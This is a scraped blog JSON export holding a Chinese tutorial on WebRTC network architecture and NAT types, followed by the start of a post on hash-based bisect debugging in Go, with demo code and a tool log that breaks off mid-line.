Communication）是一种支持网页浏览器/应用进行端到端实时语音对话或视频对话的技术，其中支持端到端建立连接和后续数据传输的网络架构是十分重要的，这也是理解WebRTC技术栈的一个重点。下面是WebRTC网络架构图的示意图：\n这个架构包含以下主要组件：\n浏览器/App：这是进行WebRTC的端(Peer)，可以是浏览器，也可以是App。WebRTC API在浏览器中实现，使得web应用能够直接访问媒体设备和建立点对点连接。App也可以利用WebRTC的实现(比如Pion)与对端进行RTC通信。\n信令服务器(Signaling Server）：虽然不是WebRTC标准的一部分，但对于WebRTC建立连接至关重要，任何non-trivial的基于WebRTC的系统都会有专属的信令服务器，它会帮助通信双方交换会话描述协议（SDP）信息和ICE候选地址。这个在使用Go和WebRTC data channel实现端到端实时通信一文中介绍过，在后续的文章中还会有系统说明。\nSTUN服务器（Session Traversal Utilities for NAT）：该服务器可以帮助客户端发现自己的公网IP地址和端口，这个服务器是NAT打洞时所必须的。\nTURN服务器（Traversal Using Relays around NAT）：当通过常规方式点对点连接失败时(通常是NAT打洞失败)，可以使用TURN服务器作为媒体数据的中继服务器使用。两端发送的数据都会要通过TURN的中继才能转发给对端。\nICE框架（Interactive Connectivity Establishment）：综合使用各种NAT打洞技术来协助两端建立连接，这个我们会在后面文章中系统说明。\n我们看到这个架构略有些复杂，但该架构允许WebRTC应用在复杂的网络环境中建立直接的点对点连接，即使客户端位于NAT或防火墙后面。\n2. 网络世界的真相：我们都在NAT后面 在理想的网络世界中，每个设备都有一个唯一的公网IP地址，可以直接相互连接和通信。这种理想状态下，网络是完全开放和对等的，没有任何障碍阻止设备之间的直接交互。\n但现实情况却很骨感，出于IPv4地址空间的限制(IPv4地址的数量不够了)、网络管理以及网络安全的考虑，大多数设备都隐藏在NAT(网络地址转换)后面。\nNAT（网络地址转换）技术于1994年由Egevang等人在RFC 1631中提出，旨在作为缓解IPv4地址不足问题的临时技术方案。通过将私有IP地址和端口映射到公共IP地址和端口，NAT使得在私有网络中的设备可以使用公共地址(共享一个或多个)访问互联网。\nNAT转换示意图(来自维基百科)\n这种技术的出现大大缓解了IPv4地址的紧张状况，并成为当时乃至现在(IPv6的推广与使用未及预期)网络地址管理的重要手段。不过，NAT技术的广泛应用也意味着大部分设备只有私网IP，无法从外网直接访问，这一定程度上限制了端到端的直接通信。另外，由于不同类型的NAT行为有所不同，进一步增加了端到端网络连接的复杂性。\n注：私网IP地址是指在局域网（LAN）中使用的IP地址，这些地址不能在公共互联网(公网)中被路由。私网IP地址主要用于内部网络中设备之间的通信，通常用于家庭、企业或组织的网络。根据IETF的标准，私网IP地址的范围包括(以CIDR（无类域间路由）格式表示)：10.0.0.0/8、172.16.0.0/12和192.168.0.0/16。\n于是便有了NAT打洞技术(NAT hole punching)。NAT打洞技术为在NAT环境中实现设备间直接通信提供了一种有效的解决方案，它允许位于不同NAT后面的设备建立直接的点对点（P2P）连接，而无需手工配置端口转发。在P2P文件共享、VoIP通信、在线游戏、即时通信以及视频会议系统等领域，NAT打洞都有着广泛的应用。\n不过，要理解NAT打洞，我们需要要先得弄清楚NAT的工作原理、主要的NAT类型以及它们的行为差异。\n3. NAT的工作原理与主要类型的行为差异 我们先来看看NAT工作原理。\n3.1 NAT的工作原理 网络地址转换（NAT）的核心工作原理还是比较好理解的，就是在请求数据包通过NAT设备时修改其源IP和源端口信息。以下图为例，即将内网主机通过X1:x1发往外网主机Y1:y1的网络请求中的源IP和源端口从X1:x1修改为X1′:x1′后，再发给目的端点(Y1:y1)。NAT设备会维护一个映射表(也叫会话表)，记录X1:x1与X1′:x1′的映射关系。当请求的应答包回来时(Y1:y1 -\u0026gt; X1′:x1′)，NAT设备将根据映射表将X1′:x1′再替换回X1:x1，这样应答包就可以正常回到X1:x1了。\n为了管理资源(每个NAT的对外端口数量有限)，NAT设备会内置超时机制，它会为每个会话/映射设置一个生存时间（TTL）。如果在TTL内没有新的数据包，这个映射会被删除。\n随着NAT技术的演进，同时考虑到网络管理和网络安全因素，NAT设备出现了不同的映射表管理方式，与之相对应的就出现了不同的NAT类型与行为特征。接下来，我们就来看看NAT的主要类型、映射表的管理方式以及它们的行为差异。\n注：NAT打洞的主流方式是通过UDP包，因此下面的关于NAT类型和行为的描述都是基于UDP的。UDP是面向数据报的传输层协议，相对于面向连接的TCP，它更加灵活，延迟更低，在实时性要求更高的场景，比如视频会议、语音通信等。\n3.2 NAT的主要类型 根据2003年RFC 3489中对市面上NAT实现类型的归纳，NAT可以分为完全锥形(Full Cone)、受限锥形(Restricted Cone)、端口受限锥形(Port Restricted Cone)和对称型(Symmetric)四种主要类型。下面我们分别来说一下这四种类型的NAT映射表构成以及行为特征。\n3.2.1 完全锥型NAT 完全锥型是最宽松的NAT类型，它在NAT映射表中只存储了一个四元组：(内网ip(internal_ip), 内网端口(internal_port), 映射ip(external_ip), 映射端口(external_port))。我们看下图中的完全锥形类型的NAT：：\n在上图中，内部地址X1:x1被映射到了外部地址E:x1′，所有从X1:x1发到外部的数据都由E:x1′向外发送。相应的外部应答(比如: Y1:y1 -\u0026gt; E:x1′)的流量会在NAT设备上被转换回到X1:x1的流量。\n那么为什么这个类型的NAT会被称为完全锥形呢？这就要从NAT设备对外部流量的限制来说了。对于NAT设备来说，一旦建立了X1:x1-\u0026gt;E:x1′的映射规则，就好比X1在该NAT设备上“打了一个洞”，内部来自X1:x1的流量可以从该洞发送出去，但NAT设备是否允许外部流量从该洞回到X1:x1以及允许哪些流量从该洞返回到X1:x1就决定了该NAT的类型。\n如果任何外部主机都可以通过上面的洞E:x1′向内部主机X1:x1发送数据包，那么这个NAT就是完全锥形。我们再用一副示意图来说明一下完全锥形NAT的行为特点：\n这里故意将右侧的外部主机排列成像圆锥的形状，位于锥子范围内的所有主机都能通过图中的“洞”将数据包发到内部主机X1:x1上。\n很显然完全锥形NAT虽然管理简单，也具有很好的开放性，但它在安全性上较弱，外部很容易利用NAT上的洞向内部主机上的服务发起攻击。\n为此，后面的几种NAT都是为了增强NAT安全性的，而且一个比一个更严格，我们先来看受限锥形NAT。\n3.2.2 受限锥型NAT 受限锥形NAT又被称为IP受限锥型NAT，它在完全锥形NAT的映射表的基础上，增加了“IP白名单(如下图中的allowed_external_ips)”，下面是受限锥形NAT的示意图：\n我们看到：X1主机通过X1:x1在向Y1:y1和Y2:y2分别发起请求后，NAT设备上便有了一条映射规则(一个洞)：X1:x1被映射到了外部地址E:x1′，但映射表也记录了两个请求的目标主机的IP，记录在规则的allowed_external_ips中。\n规则中的这个allowed_external_ips对后续外部主机通过E:x1′向X1:x1发送数据包会做出限制，如下图：\n我们看到：只有在“白名单”中的IP对应的主机（如Y1、Y2）才可以在“洞”建立后，通过E:x1′向内部主机X1:x1成功发送数据包，其它主机发送的数据包都会被拦截和丢弃。\n我们看到上述的限制是限制是基于IP地址的，而位于Y1和Y2上的服务，可以使用任意端口向E:x1′成功发送数据包，这显然也是一个安全隐患。于是便有了下面限制更为严格的端口受限锥形NAT。\n3.2.3 端口受限锥型NAT 端口受限锥型NAT在受限锥形NAT映射表的基础上，又进一步限制了端口，通过allowed_external_endpoints实现对外部端点的限制，如面示意图：\n注：IP:port合在一起称为一个端点(endpoint)。\n我们看到：X1主机通过X1:x1在向Y1:y1和Y2:y2分别发起请求后，NAT设备上便有了一条映射规则(一个洞)：X1:x1被映射到了外部地址E:x1′，映射表同时记录了两个请求的目标主机的端点(ip:port)，记录在规则的allowed_external_endpoints中。\n规则中的这个allowed_external_pointss对后续外部主机通过E:x1′向X1:x1发送数据包会做出更严格的限制，如下图：\n我们看到：只有在“allowed_external_endpoints”中的端点（如Y1:y1、Y2:y2）发起的请求才可以在“洞”建立后，通过E:x1′向内部主机X1:x1成功发送数据包，其它主机或Y1、Y2上其他端口发送的数据包都会被拦截和丢弃。\n下面我们再来看看最严格的NAT类型：对称型NAT。\n3.2.4 对称型NAT 和上面由X1:x1发出的数据包(无论目的端点是什么)在NAT上只建立一条映射规则不同，在对称型NAT中，由X1:x1向不同端点发送数据会在NAT上建立多条映射规则，如下图所示：\n我们看到每条规则中还包含了目的端点的信息(dest_ip和dest_port)，也正因为如此，对称型NAT对外部请求的限制也是最严格的，如下图所示：\n我们看到：只有来自规则中dest_ip和dest_port组成的端点的数据包才能进入内部，即只有那些收到数据的外部主机才能够“顺原路返回”地回送数据。\n3.3 新的分类 上面提到的四种NAT类型是stun的RFC在早期对NAT实现的分类(基于UDP传输)，一直沿用至今，也是目前使用最多的一种分类方法。不过这种分类方法将NAT的两个正交的行为混在一起说了，即分配行为Assignment Behavior和过滤行为Filtering Behavior。其实我们更多关注的使其过滤行为的特征。\n在较新的RFC 4787中，NAT的行为被细分为两个独立的维度：分配行为（Assignment Behavior）和过滤行为（Filtering Behavior）。这两种行为的各自分类描述了NAT在处理映射和过滤时的不同方式。以下是这两种行为的分类及其对应的早期NAT类型的对照。\n3.3.1 分配行为（Assignment Behavior） 分配行为定义了NAT设备如何为内网设备的流量分配外部端口和地址。RFC 4787将其分为三类：\nEndpoint-Independent Mapping（端点独立映射） 不管内网设备与哪个外部设备通信，只要内网设备使用同一个源IP和源端口，NAT都会为其分配相同的外部IP和端口。这意味着内网设备的源IP和源端口在外部网络上呈现为固定的外部IP和端口组合，独立于目标设备的地址和端口，即独立于目标设备的端点。\n端点独立映射这种类别对应的早期NAT类型是完全锥形NAT（Full Cone NAT），前面我们讲过，在完全锥形NAT中，无论内网设备的通信目标是什么，NAT设备都会使用相同的外部端口映射，因此完全符合端点独立映射的定义。\nAddress-Dependent Mapping（地址依赖映射） 在地址依赖映射中，内网设备的外部端口是根据其通信的目标IP地址来分配的。如果内网设备改变了目标IP地址，即使源IP和源端口不变，NAT设备也会为其分配一个新的外部端口。\n在分配行为上，我们似乎无法找到与早期分类一模一样的类型，它有些类似于对称NAT，但对称NAT不仅考虑目标IP，还考虑目标端口。\nAddress and Port-Dependent Mapping（地址和端口依赖映射） 在这种映射行为中，内网设备的外部端口是根据其通信的目标IP地址和目标端口组合来分配的。如果内网设备改变了目标IP或端口，即使源IP和源端口不变，NAT设备仍会分配一个新的外部端口。该类型对应的是早期NAT类型中的对称NAT（Symmetric NAT）。对称NAT的行为正是基于目标IP和端口的组合来分配外部端口，因此它完全符合地址和端口依赖映射的定义。\n3.3.2 过滤行为（Filtering Behavior） 过滤行为描述了NAT设备如何决定是否允许外部设备通过NAT与内网设备通信。RFC 4787将其分为三类：\nEndpoint-Independent Filtering（端点独立过滤） 这种类型的NAT设备不考虑外部设备的地址或端口，只要内网设备先发起了一个会话，任何外部设备都可以通过NAT设备与内网设备的相同源IP和源端口通信。这和早期NAT类型中的完全锥形NAT完全契合。\nAddress-Dependent Filtering（地址依赖过滤） 这种类型的NAT设备只允许内网设备已经与之通信的外部IP地址与其通信。换句话说，只有内网设备先与某个特定的外部IP地址通信后，该外部IP地址的设备才能通过NAT与内网设备通信。这和早期NAT类型中的限制锥形NAT（Restricted Cone NAT）在过滤行为的特征上是一致的。\nAddress and Port-Dependent Filtering（地址和端口依赖过滤） 这种类型的NAT设备要求外部设备的IP地址和端口都与内网设备已经建立连接的目标IP地址和端口匹配，才能允许通信。这意味着，只有内网设备先与某个特定的外部IP和端口组合通信后，该组合才能与内网设备通信。这与早期NAT类型中的端口限制锥形NAT（Port Restricted Cone NAT）以及对称NAT的行为特征是一致的。\n可以看出，RFC 4787中的分类方法更为细致地将NAT的分配行为和过滤行为分开讨论，使得对NAT的行为理解更加明确。这种分类不仅帮助理解了不同NAT类型的工作机制，也为更精确地描述NAT行为提供了标准化的术语。\n当然对于NAT打洞来说，我们更关心的显然是过滤行为。\n4. 小结 好了，这篇文章到这里就告一段落了。\n在这篇文章中，我们探讨了WebRTC网络架构和NAT的工作原理。\n我们首先了解了WebRTC的网络架构，包括信令服务器、STUN服务器、TURN服务器和ICE框架等组件和其作用。\n然后，我们讨论了为什么需要NAT，包括解决IPv4地址短缺、提高安全性和简化网络管理等原因。\n接着，我们详细解释了NAT的工作原理，以及完全圆锥型、受限圆锥型、端口受限圆锥型和对称型这四种主要的早期NAT类型。\n最后，我们介绍了RFC 4787中对NAT行为的新分类方法，将NAT行为分为分配行为和过滤行为两个维度。\n了解WebRTC网络架构以及NAT工作原理是理解NAT打洞机制以及WebRTC端到端建立连接过程的前提，在后续文章中，我们会继续WebRTC网络部分的内容，比如NAT打洞以及端到端建连过程。\n5. 参考资料 How NAT traversal works – https://tailscale.com/blog/how-nat-traversal-works Implementing NAT Hole Punching with QUIC – https://arxiv.org/abs/2408.01791 Network Address Translation (NAT) Behavioral Requirements for Unicast UDP – https://tools.ietf.org/html/rfc4787 WebRTC 1.0: Real-time Communication Between Browsers – https://www.w3.org/TR/webrtc/ Interactive Connectivity Establishment (ICE): A Protocol for Network Address Translator (NAT) Traversal – https://tools.ietf.org/html/rfc8445 Session Traversal Utilities for NAT (STUN) – https://datatracker.ietf.org/doc/html/rfc5389 Traversal Using Relays around NAT (TURN): Relay Extensions to Session Traversal Utilities for NAT (STUN) – https://datatracker.ietf.org/doc/html/rfc5766 Traditional IP Network Address Translator (Traditional NAT) – https://datatracker.ietf.org/doc/html/rfc3022 IP Network Address Translator (NAT) Terminology and Considerations – https://datatracker.ietf.org/doc/html/rfc2663 Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work/","summary":"\u003cp\u003e\u003cimg alt=\"Image 49\" loading=\"lazy\" src=\"/images/wp-content/uploads/webrtc-first-lesson-network-architecture-and-how-nat-work-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work\"\u003ehttps://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2023年下旬，\u003ca href=\"https://blog.livekit.io/open-source-realtime-multimodal-ai/\"\u003eOpenAI与Livekit的合作\u003c/a\u003e在科技圈引起了不小的轰动。这两家公司联手，通过WebRTC技术和大型语言模型（LLM）的结合，\u003ca href=\"https://openai.com/index/chatgpt-can-now-see-hear-and-speak/\"\u003e使AI模型具有了看、听和说话的能力\u003c/a\u003e。这一举动不仅彰显了WebRTC在现代通信技术中的重要地位，也为我们揭示了AI与实时通信融合的无限可能。WebRTC技术在大流行后再一次进入技术人的视野，恰好在我们今年打造的产品中，WebRTC也是技术栈的核心。\u003c/p\u003e\n\u003cp\u003e在去年9月份，我写了一篇WebRTC入门科普的文章：\u003ca href=\"https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel\"\u003e使用Go和WebRTC data channel实现端到端实时通信\u003c/a\u003e，在那篇文章中，我对WebRTC技术做了一些概述说明，并通过一个基于Go语言的实例，展示了如何实现端到端的实时通信。大家可以通过那篇文章了解\u003cstrong\u003eWebRTC技术的基础概念和核心架构\u003c/strong\u003e。\u003c/p\u003e","title":"WebRTC第一课：网络架构与NAT工作原理"},{"content":"\n本文永久链接 – https://tonybai.com/2024/mm/dd/how-to-support-hash-based-bisect-in-go-package\nbisect是一个英文动词，意为“二分”或“分成两部分”。在数学和计算机科学中，通常指将一个区间或一个集合分成两个相等的部分。\n对于程序员来说，最熟悉的bisect应用莫过于下面两个：\n算法中的二分查找(binary search) 二分查找是一个经典且高效的查找算法，任何一本介绍数据结构或计算机算法的书都会包含对二分查找的系统说明。所谓二分查找就是通过不断将搜索区间一分为二来找到目标值。一些排序算法也应用了bisect的思想，比如快速排序(QuickSort)等。\ngit bisect git bisect是一个非常实用的Git命令，它通过二分查找的方式有效缩小可能导致错误的提交范围，帮助开发人员快速定位引入错误的提交。其工作原理是反复从版本控制系统中检出不同的提交并运行测试，将结果标记为“good”或“bad”。这个过程持续进行，直到找到引入bug的具体提交(bad commit)：\ngit bisect特别适用于当你怀疑某个bug是由于代码库历史中的特定更改引起时，这种情况在日常开发中非常常见。\n然而，并非所有的bug都能通过git bisect查找出来。尤其在编译器、运行时库以及大型复杂项目中，问题往往潜藏在难以排查的调用栈、数据流或代码路径中。在这些情况下，git bisect这种传统的工具可能会显得力不从心。\n注：如果你还不熟悉git bisect的使用方法，可以参考本文后面附录中的入门示例。\n在今年7月份，Go团队前技术主管Russ Cox在他的博客上发表了一篇题为“Hash-Based Bisect Debugging in Compilers and Runtimes”的文章，介绍了Go编译器和运行时团队内部使用的高级调试技术——Hash-Based Bisect。这一技术为我们提供了一种全新的问题定位方式。\n在这篇文章中，我将带领大家深入了解Hash-Based Bisect这一高级调试技术，探索如何让我们自己的Go包支持这一调试技术，以及如何在日常开发中帮助我们快速定位一些难以排查的潜在问题。\n1. Hash-Based Bisect是什么 前面提到过，git bisect常用于代码提交历史的回归问题排查。然而，当问题不是由提交历史引发，而是涉及程序行为的动态变化时，git bisect便显得无能为力。例如：\n某些代码路径或优化规则在特定运行时触发错误。 测试程序在调用栈中的某些路径上表现异常。 多线程或并行执行中，因运行时调度导致的问题。 Hash-Based Bisect正是为了解决这些问题而设计的。它突破了静态版本的局限，将调试范围扩展到了动态行为层面。\n那么Hash-Based Bisect究竟是什么技术呢？它是一种基于哈希值和二分搜索的调试技术，旨在快速定位复杂程序中导致问题的最小变化点集合。通过为代码中的变化点（如函数、行号或调用栈）生成唯一的哈希值，该技术将程序行为映射到这些标识符上。接着，通过逐步启用或禁用特定变化点，结合测试程序的运行结果，递归缩小问题范围，最终定位问题根源(某几行代码甚至是某一行代码)：\n与git bisect专注于找到引入错误的提交不同，基于散列的bisect不会去遍历版本历史，而是直接对代码的结构和执行流进行操作，其调试的结果也不会与特定提交相关，而是与代码与特定执行路径或功能的交互相关，即精确定位特定的代码行，函数调用，甚至是触发失败的调用堆栈。\n下面我们再来仔细说明一下该技术的工作原理。\n2. Hash-Based Bisect的工作原理 Hash-Based Bisect的核心在于利用哈希值为程序的变化点（如函数、代码行、调用栈等）分配唯一标识，并通过二分搜索算法，逐步缩小问题范围。它通过动态启用或禁用这些变化点，结合测试结果判断问题是否被触发，从而定位导致问题的最小变化集。\n这个方法有两个关键要素：\n变化点的唯一标识 在Russ Cox的文章中，他提及了一些传统的二分方法，比如List-Based Bisect-Reduce、Counter-Based Bisect-Reduce等，但这些方法存在编号顺序不稳定、多变化点调试困难、扩展性有限以及不适合并发或动态场景等问题。\n而通过哈希函数生成变化点的标识，确保无论代码执行顺序、环境或并发情况如何，变化点的标识始终唯一且稳定的。同时输入更为简洁，通过简短的哈希模式（如001+110），避免长列表或复杂编号，并且可适配多种问题类型（优化规则、运行时行为、动态调用栈等）。\n二分搜索 利用二分搜索算法在运行时动态启用和禁用变化点，高效缩小问题范围，减少需要手动排查的复杂度。\n下面我们再通过Hash-Based Bisect的典型工作流程来进一步理解它的原理。\n首先是定义变化点。\n将程序中可能导致问题的变化点抽象出来，比如：\n函数（函数名、文件路径） 代码行（文件路径和行号） 调用栈（运行时捕获） 接下来，生成变化点的唯一哈希值。\n以Go当前的hash-based bisect工具以及支持该工具调试的Go包为例，对于每个变化点，Go包需要通过bisect.Hash方法生成哈希值，用于唯一标识。例如：\nid := bisect.Hash(\u0026#34;foo.go\u0026#34;, 10) // 生成foo.go文件第10行的唯一标识。 第三步，利用二分搜索进行自动的递归测试。具体来说，就是通过二分搜索逐步启用或禁用变化点：\n启用一个变化点集合，运行测试程序，观察是否触发问题。 根据测试结果缩小范围，继续递归，直到找到最小变化点集合。 最后，报告变化点，即最终输出导致问题的最小变化集，帮助开发者快速定位问题。\nRuss Cox文章中给了一个“某个函数的编译优化规则导致测试失败”的例子，例子中包含一组数学函数：\nadd, cos, div, exp, mod, mul, sin, sqr, sub, tan 要针对这个问题场景使用hash-based bisect进行调试，第一步就是要定义函数变化点，并为每个变化点生成唯一哈希值标识：\nadd: 00110010 cos: 00010000 sin: 11000111 ... 然后启用二分搜索，利用Hash-Based Bisect工具依次禁用某些函数的优化，逐步缩小范围。例如：\n第一步：禁用add, cos, div, exp, mod，测试通过。 第二步：禁用mul, sin, sqr, sub, tan，测试失败。 第三步：进一步细分，最终定位sin为导致问题的函数。开发者只需检查该函数的优化规则即可解决问题。 原文章中，Russ Cox利用函数变化点哈希值的位后缀构建了一颗二叉树(如下图)，并利用后缀模式的不同进行问题定位：\n图来自Russ Cox博客\n了解了大致的工作原理后，我们再来看看Hash-Based Bisect在Go项目中的使用现状。\n3. Hash-Based Bisect在Go项目中的使用现状 目前Hash-Based Bisect已经成为Go项目编译器和运行时的重要调试工具之一，其工具链(golang.org/x/tools/cmd/bisect)和库(golang.org/x/tools/internal/bisect)提供了强大的功能支持，帮助Go团队在编译器开发、运行时库升级和语言特性修改等场景下快速定位问题。\nGo实现的hash-based bisect调试技术包含两部分：\nbisect命令行工具 bisect命令行工具可用于驱动测试运行（如go test）并自动化调试过程，支持灵活的模式定义（如-godebug、-compile选项），结合用户输入定位问题点。\ngolang.org/x/tools/internal/bisect包 该包为库和工具开发者提供一个接口，轻松实现与bisect工具的集成。并且提供了哈希生成、启用判断和变化点报告等功能，适配复杂调试需求。\n上述工具目前在Go编译器的SSA（静态单赋值）后端开发、Go运行时库升级（比如Go 1.23的Timer Stop/Reset的新实现）以及语言特性的修改（比如loopvar语义变更）等方面都有重要的应用，大大提高了Go团队在定位复杂问题时的调试效率。\n以上工具和包在Go项目中已经演化多年，颇为成熟。Russ Cox已经发起提案#67140，旨在将golang.org/x/tools/internal/bisect包发布为标准库debug/bisect包，这样编译器、运行时、标准库甚至标准库之外的包都可以基于它提供的功能实现与bisect工具的兼容，并利用bisect工具实现基于变更点hash值的高级调试。\n讲到这里，屏幕前的你是否已经感到“迫不及待”了呢？这样优秀的工具！我们现在能否使用它？是否可以将其应用于我们自己的Go包的调试过程中呢？接下来，我就来用一个示例演示一下如何让我们自己的包支持Go bisect工具，以帮助我们提升调试效率。\n4. 让你的库支持Hash-Based Bisect调试 要利用bisect调试技术，我们首先要解决的是bisect包位于internal中的问题，好在Russ Cox在实现bisect包时考虑了这个问题，bisect包没有任何外部依赖，连Go标准库都不依赖，这样避免了后续变为debug/bisect后导致标准库循环依赖的问题。现在，我们可以将它直接copy出来，放到我们自己的工程中使用。\n下面是我准备的示例的目录结构：\n$tree -F hash-based-bisect/bisect-demo hash-based-bisect/bisect-demo ├── bisect/ │ └── bisect.go ├── foo/ │ ├── foo.go │ └── foo_test.go └── go.mod 其中bisect目录下的bisect.go来自github.com/golang/tools/blob/master/internal/bisect/bisect.go，foo包是我们这次要调试的目标包，我们先来看看foo.go的代码：\n// bisect-demo/foo/foo.go package foo import ( \u0026#34;bisect-demo/bisect\u0026#34; \u0026#34;flag\u0026#34; ) var ( bisectFlag = flag.String(\u0026#34;bisect\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;bisect pattern\u0026#34;) matcher *bisect.Matcher ) // Features represents different features that might cause issues const ( FeatureRangeIteration = \u0026#34;range-iteration\u0026#34; // Using range vs classic for loop FeatureConcurrentLogic = \u0026#34;concurrent-logic\u0026#34; // Adding concurrent modifications ) func Init() { flag.Parse() if *bisectFlag != \u0026#34;\u0026#34; { matcher, _ = bisect.New(*bisectFlag) } } func ProcessItems(items []int) []int { result := make([]int, 0, len(items)) // First potential problematic change: different iteration approach id1 := bisect.Hash(FeatureRangeIteration) if matcher == nil || matcher.ShouldEnable(id1) { if matcher != nil \u0026amp;\u0026amp; matcher.ShouldReport(id1) { println(bisect.Marker(id1), \u0026#34;enabled feature:\u0026#34;, FeatureRangeIteration) } // Potentially problematic implementation using range for i := range items { result = append(result, items[i]*2) } } else { // Correct implementation using value iteration for _, v := range items { result = append(result, v*2) } } // Second potential problematic change: concurrent modifications id2 := bisect.Hash(FeatureConcurrentLogic) if matcher == nil || matcher.ShouldEnable(id2) { if matcher != nil \u0026amp;\u0026amp; matcher.ShouldReport(id2) { println(bisect.Marker(id2), \u0026#34;enabled feature:\u0026#34;, FeatureConcurrentLogic) } // Potentially problematic implementation with concurrency for i := 0; i \u0026lt; len(result); i++ { go func(idx int) { result[idx] += 1 // Race condition }(i) } } return result } 大家可以结合前面提及的Hash-Based Bisect的典型工作流程来理解上面的代码。\n首先，我们模拟可能导致问题的两个功能特性并定义了变化点，变化点由特性标识符的hash值标识，这里我们定义的特性标识符为：\nconst ( // 使用有意义的特性名称作为 hash 的输入 FeatureRangeIteration = \u0026#34;range-iteration\u0026#34; // 使用 range vs 经典 for 循环 FeatureConcurrentLogic = \u0026#34;concurrent-logic\u0026#34; // 添加并发修改逻辑 ) 接下来，对于每个可能有问题的变化点，都遵循相同的模式：\n// 1. 计算特性的唯一Hash值 id1 := bisect.Hash(FeatureRangeIteration) // 2. 检查是否应该启用该特性 if matcher == nil || matcher.ShouldEnable(id1) { // 3. 如果需要,报告该特性被启用 if matcher != nil \u0026amp;\u0026amp; matcher.ShouldReport(id1) { println(bisect.Marker(id1), \u0026#34;enabled feature:\u0026#34;, FeatureRangeIteration) } // 4. 执行可能有问题的实现 for i := range items { result = append(result, items[i]*2) } } else { // 5. 执行正确的实现 for _, v := range items { result = append(result, v*2) } } 这里对matcher == nil的检查算是一个小优化：当不在bisect调试模式时，matcher为nil。此时我们直接启用所有特性，不需要计算hash和调用其他方法。\n代码中的ShouldEnable()决定是否启用该特性的代码，ShouldReport() 决定是否需要报告该特性被启用。这两个可能返回不同的值，尤其是在bisect搜索最小失败集合时。\nMarker()用于生成标准格式的匹配标记，这些标记会被bisect工具用来识别和追踪启用了哪些特性，标记会在最终输出中被移除，只显示实际的描述文本。\n这里还有一个接收bisect pattern的设置，我们是通过命令行参数来接收bisect每次传给foo包的Pattern的，这里我们在Init函数，而不是init函数中调用Parse，是因为如果在init函数中调用Parse，会干扰go test测试框架，导致出现类似“flag provided but not defined: -test.paniconexit0”的测试执行错误。\n下面是foo_test.go的代码：\n// bisect-demo/foo/foo_test.go package foo import ( \u0026#34;flag\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;time\u0026#34; ) func TestMain(m *testing.M) { flag.Parse() Init() m.Run() } func TestProcessItems(t *testing.T) { input := []int{1, 2, 3, 4, 5} result := ProcessItems(input) // Wait for all goroutines to complete time.Sleep(1000 * time.Millisecond) // Verify results if len(result) != len(input) { t.Fatalf(\u0026#34;got len=%d, want len=%d\u0026#34;, len(result), len(input)) } // Check if results are correct for i, v := range input { expected := v * 2 if result[i] != expected { t.Errorf(\u0026#34;result[%d] = %d, want %d\u0026#34;, i, result[i], expected) } } } 显然为了foo包能成功获取命令行参数，我们重写了TestMain，在其中调用了foo.Init函数。\n接下来，我们就来执行一下bisect工具，对foo包进行一下调试，你可以通过go install golang.org/x/tools/cmd/bisect@latest安装bisect。此外下面bisect命令行中的PATTERN是一个“占位符”，bisect命令会识别该“占位符”，并将其替换为相应的字符串，这个在bisect的执行过程中你也会看到：\n// 在hash-based-bisect/bisect-demo/foo目录下执行 $bisect -v go test -v -args -bisect=PATTERN bisect: checking target with all changes disabled bisect: run: go test -v -args -bisect=n... ok (0 matches) bisect: matches: bisect: run: go test -v -args -bisect=n... ok (0 matches) bisect: matches: bisect: checking target with all changes enabled bisect: run: go test -v -args -bisect=y... FAIL (2 matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: run: go test -v -args -bisect=y... FAIL (2 matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: target succeeds with no changes, fails with all changes bisect: searching for minimal set of enabled changes causing failure bisect: run: go test -v -args -bisect=+0... ok (1 matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration bisect: run: go test -v -args -bisect=+0... ok (1 matches) bisect: matches: [bisect-match 0xcf0b8943315a7804] enabled feature: range-iteration bisect: run: go test -v -args -bisect=+1... FAIL (1 matches) bisect: matches: [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: run: go test -v -args -bisect=+1... FAIL (1 matches) bisect: matches: [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: confirming failing change set bisect: run: go test -v -args -bisect=v+x3f... FAIL (1 matches) bisect: matches: [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: run: go test -v -args -bisect=v+x3f... FAIL (1 matches) bisect: matches: [bisect-match 0x4d642a7960e4693f] enabled feature: concurrent-logic bisect: FOUND failing change set --- change set #1 (enabling changes causes failure) enabled feature: concurrent-logic --- bisect: checking for more failures bisect: run: go test -v -args -bisect=-x3f... ok (1 